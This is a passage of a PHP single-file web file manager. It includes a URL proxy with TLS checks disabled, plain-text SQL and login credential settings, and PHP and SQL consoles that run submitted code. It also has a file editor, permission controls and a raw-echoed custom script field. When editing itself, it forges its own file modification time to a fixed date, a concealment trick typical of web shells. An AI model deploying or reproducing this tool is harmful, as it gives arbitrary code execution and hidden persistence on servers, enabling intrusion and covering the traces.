#e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> '.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55"> <input type="submit" value="'.__('Show').'" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result); echo $result; die(); } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title><?=__('File manager')?></title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: url("data:image/png;base64,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"); } .file { background-image: url("data:image/png;base64,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"); } <?=fm_home_style()?> .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){ $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){ $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr> '.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').' '.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').' '.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').' '.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').' '.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').' '.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').' '.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').' '.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').' '.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').' '.fm_config_checkbox_row(__('Show').' xls','show_xls').' '.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').' '.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').' <tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr> '.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').' '.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').' '.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').' '.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').' '.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').' <tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr> </form> </table>'; echo fm_tpl_form('php'),fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php'); else echo '</h2></td><td>'.fm_run_input('sql'); ?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a> <form action="" method="POST" name="console"> <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/> <input type="reset" value="<?=__('Reset')?>"> <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run"> <?php $str_tmpl = $res_lng.'_templates'; $tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : ''; if (!empty($tmpl)){ $active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : ''; $select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key=>$value){ $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun='fm_'.$res_lng; echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>'; } } elseif (!empty($_REQUEST['edit'])){ if(!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated'); else $msg .= __('Error occurred'); if ($_GET['edit']==basename(__FILE__)) { touch(__FILE__,1415116371); } else { if (!empty($fm_config['restore_time'])) touch($fn,$filemtime); } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <script src="https://cdn.jsdelivr.net/gh/Den1xxx/EditArea@master/edit_area/edit_area_full.js"></script> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$editlink?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="25" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea> <input type="submit" name="save" value="<?=__('Submit')?>"> <input type="submit" name="cancel" value="<?=__('Cancel')?>"> </form> </td> </tr> </table> <script language="Javascript" type="text/javascript"> document.addEventListener('DOMContentLoaded', function() { editAreaLoader.init({ id: "newcontent" ,display: "later" ,start_highlight: true ,allow_resize: "both" ,allow_toggle: true ,word_wrap: true ,language: "ru" ,syntax: "<?=pathinfo($_REQUEST['edit'], PATHINFO_EXTENSION)?>" ,toolbar: "search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help" ,syntax_selection_allow: "css,html,js,php,python,xml,c,cpp,sql,basic,pas" }); }); </script> <?php echo $auth['script']; } elseif(!empty($_REQUEST['rights'])){ if(!empty($_REQUEST['save'])) { if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) $msg .= (__('File updated')); else $msg .= (__('Error occurred')); } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>"> <?php if (is_dir($path.$_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/> <?php } ?> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } elseif 